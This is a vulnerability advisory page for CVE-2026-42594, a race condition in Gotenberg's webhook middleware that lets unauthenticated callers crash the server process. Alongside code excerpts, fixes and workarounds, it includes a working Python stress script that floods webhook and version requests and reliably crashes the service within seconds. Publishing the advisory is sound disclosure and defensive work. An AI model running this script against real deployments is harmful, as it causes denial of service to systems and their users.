Skip to main content

Gotenberg CVE-2026-42594

| EUVDEUVD-2026-30312 HIGH
Race Condition (CWE-362)
2026-05-07 https://github.com/gotenberg/gotenberg GHSA-r33j-c622-r6qp
7.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
May 07, 2026 - 01:31 vuln.today
Analysis Generated
May 07, 2026 - 01:31 vuln.today
CVE Published
May 07, 2026 - 01:00 nvd
HIGH 7.5

DescriptionGitHub Advisory

Summary

The webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds.

Details

pkg/modules/webhook/middleware.go:338-382 starts the async goroutine and immediately returns api.ErrAsyncProcess to the caller:

go
w.asyncCount.Add(1)
go func() {
    defer cancel()
    defer w.asyncCount.Add(-1)

    err := next(c)                    // line 343
    ...
    sendOutputFile(sendOutputFileParams{ ctx: ctx, ... })
}()

return api.ErrAsyncProcess             // line 382

pkg/modules/api/middlewares.go:356-361 sees the sentinel, responds with 204 No Content, and lets Echo return c to the pool:

go
if errors.Is(err, ErrAsyncProcess) {
    return c.NoContent(http.StatusNoContent)
}

Echo's router calls c.Reset() before serving the next request from the same goroutine pool slot, wiping c.store. When the webhook goroutine's next(c) enters hardTimeoutMiddleware at pkg/modules/api/middlewares.go:396-398, the handler dereferences the store before the new recover scope exists:

go
return func(c echo.Context) error {
    logger := c.Get("logger").(*slog.Logger)   // line 398

    ...
    go func() {
        defer func() { if r := recover(); r != nil { ... } }()   // recover is scoped here
        errChan <- next(c)
    }()

If a concurrent request has just acquired c from the pool, c.Get("logger") returns nil, and nil.(*slog.Logger) panics at line 398. The panic is not inside any goroutine with a recover(), so the Go runtime terminates the process with exit code 2.

No echo.Recover middleware is registered (pkg/modules/api/api.go:480-536). GOTRACEBACK defaults propagate the panic to stderr and exit.

Proof of Concept

Reproduction on the stock Docker image with default configuration:

bash
docker run -d --name gotenberg-poc -p 3000:3000 \
    -e GOTRACEBACK=all gotenberg/gotenberg:8 gotenberg --log-level=error

Single-process stress script (Alice sends both streams, no second actor):

python
import requests, subprocess, time, json, threading

TARGET  = "http://localhost:3000"
WEBHOOK = "http://httpbin.org/post"
# passes default webhook-deny-list
STOP    = threading.Event()
html    = b"<html><body><h1>Q</h1></body></html>"

def webhook_fire():
    s = requests.Session()
    while not STOP.is_set():
        try:
            s.post(
                f"{TARGET}/forms/chromium/convert/html",
                files={"files": ("index.html", html, "text/html")},
                headers={
                    "Gotenberg-Webhook-Url":       WEBHOOK,
                    "Gotenberg-Webhook-Error-Url": WEBHOOK,
                },
                timeout=15,
            )
        except: pass

def noise_fire():
    s = requests.Session()
    while not STOP.is_set():
        try: s.get(f"{TARGET}/version", timeout=2)
        except: pass

for _ in range(24): threading.Thread(target=webhook_fire, daemon=True).start()
for _ in range(60): threading.Thread(target=noise_fire,   daemon=True).start()

t0 = time.time()
while time.time() - t0 < 60:
    time.sleep(1)
    status = json.loads(subprocess.run(
        ["docker", "inspect", "gotenberg-poc"],
        capture_output=True, text=True, check=True).stdout)[0]["State"]
    if status["Status"] != "running":
        print(f"process crashed after {time.time()-t0:.1f}s, exit code {status['ExitCode']}")
        STOP.set()
        break

Observed output:

process crashed after 2.2s, exit code 2

Container stderr captured with docker logs gotenberg-poc:

panic: interface conversion: interface {} is nil, not *slog.Logger
goroutine 287020 [running]:
    /home/pkg/modules/api/middlewares.go:398 +0x2e6
    /home/pkg/modules/webhook/middleware.go:343 +0xec
created by github.com/gotenberg/gotenberg/v8/pkg/modules/webhook.(*Webhook).Middlewares.webhookMiddleware.func1.func2.2
    /home/pkg/modules/webhook/middleware.go:338 +0x1176

Impact

Any client that can reach the Gotenberg API crashes the process. Auto-restart policies (--restart=always, Kubernetes liveness probes, Compose defaults) let Gotenberg come back up, but each crash drops every in-flight conversion, abandons pending webhook deliveries, and resets internal state. Sustained attack traffic keeps the process in a restart loop, producing continuous unavailability. The webhook-deny-list blocks attacker-chosen webhook destinations inside private networks, but does not filter the submitter of the request, so an unauthenticated Internet attacker drives the crash with only the ability to reach port 3000.

Recommended Fix

Replace the unchecked type assertion at pkg/modules/api/middlewares.go:398 with a guarded lookup that handles the pool-reuse case:

go
logger, _ := c.Get("logger").(*slog.Logger)
if logger == nil {
    return errors.New("context reused from pool before middleware chain populated it")
}

Also add a defer recover() at the top of the webhook goroutine body at pkg/modules/webhook/middleware.go:338 so any future panic downstream does not kill the process:

go
go func() {
    defer func() {
        if r := recover(); r != nil {
            ctx.Log().Error(fmt.Sprintf("webhook goroutine panic: %v", r))
            handleError(fmt.Errorf("internal error: %v", r))
        }
    }()
    defer cancel()
    defer w.asyncCount.Add(-1)
    ...
}()

A deeper fix detaches echo.Context from api.Context before the goroutine runs: extract every value the goroutine needs (output filename, logger, correlation fields) into plain variables or struct fields, then clear ctx.echoCtx so downstream code cannot reach the pooled context.

--- *Found by aisafe.io*

AnalysisAI

Unauthenticated remote attackers crash Gotenberg 8.x (≤ 8.31.0) by triggering a race condition between webhook goroutine context reuse and Echo framework connection pooling. When webhook middleware spawns an async goroutine holding an echo.Context reference, the synchronous handler returns immediately, recycling the context to Echo's sync.Pool. Concurrent requests reset the pooled context, causing unchecked type assertions in the still-running webhook goroutine to panic outside any recover() scope, terminating the process with exit code 2. Twenty-four webhook requests plus sixty concurrent GET requests demonstrate reliable two-second crash windows. No patch was available at initial disclosure; upstream commit fixes the panic in version 8.32.0. CVSS 7.5 (AV:N/AC:L/PR:N/UI:N) reflects trivial unauthenticated network exploitation producing complete service disruption.

Technical ContextAI

Gotenberg is a Docker-powered HTTP API for converting documents (HTML, Markdown, Office formats) to PDF using Chromium and LibreOffice. The vulnerable code resides in the Echo web framework middleware chain: pkg/modules/webhook/middleware.go spawns goroutines to handle asynchronous webhook deliveries, and pkg/modules/api/middlewares.go implements request lifecycle guards. Echo (labstack/echo) uses sync.Pool to recycle echo.Context objects across requests for performance. The root cause is CWE-362 (Race Condition): the webhook goroutine retains a pointer to a pooled context after the HTTP handler returns, violating Go's sync.Pool contract that objects must not be referenced after Put(). When c.Reset() clears the context store and a new request populates it, the webhook goroutine's type assertion c.Get("logger").(*slog.Logger) at line 398 reads nil and panics. Go's runtime terminates the process because the panic occurs outside the defer recover() block that begins later in the handler stack. The CPE pkg:go/github.com_gotenberg_gotenberg_v8 identifies all v8 releases through 8.31.0 as vulnerable; 8.32.0 patches the assertion and adds defensive recovery blocks.

RemediationAI

Upgrade to Gotenberg 8.32.0 or later, which replaces the unchecked type assertion with guarded nil checks and adds a top-level defer-recover block in webhook goroutines (fix confirmed in GitHub advisory GHSA-r33j-c622-r6qp). Docker users: pull gotenberg/gotenberg:8.32.0 or :latest and redeploy containers. Kubernetes: update image tags in Deployment manifests and roll out pods. For environments unable to patch immediately, disable webhook functionality by setting --webhook-disable=true at process startup; this eliminates async goroutine spawning but removes webhook delivery features entirely. Alternatively, restrict webhook endpoint access using reverse proxy rules (nginx location blocks, Envoy route filters) to reject POST requests to /forms/*/convert/* paths carrying Gotenberg-Webhook-Url headers, though this breaks legitimate webhook workflows. Network segmentation (firewall rules allowing only trusted source IPs to port 3000) reduces external attack surface but does not prevent abuse by internal users in multi-tenant scenarios. Rate limiting at the ingress layer (10 requests/second per source IP) slows exploitation but does not prevent eventual crashes. All workarounds trade functionality or usability for partial risk reduction; only upgrading to 8.32.0 fully resolves the race condition.

CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-22039 CRITICAL POC
9.9 Jan 27

Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass

CVE-2024-42480 CRITICAL POC
9.9 Aug 12

Kamaji is the Hosted Control Plane Manager for Kubernetes. Rated critical severity (CVSS 9.9), this vulnerability is rem

CVE-2023-28110 CRITICAL POC
9.9 Mar 16

Jumpserver is a popular open source bastion host, and Koko is a Jumpserver component that is the Go version of coco, ref

CVE-2026-25996 CRITICAL POC
9.8 Feb 12

String filter bypass in Inspektor Gadget Kubernetes eBPF tooling before fix. Insufficient string escaping enables filter

Share

CVE-2026-42594 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy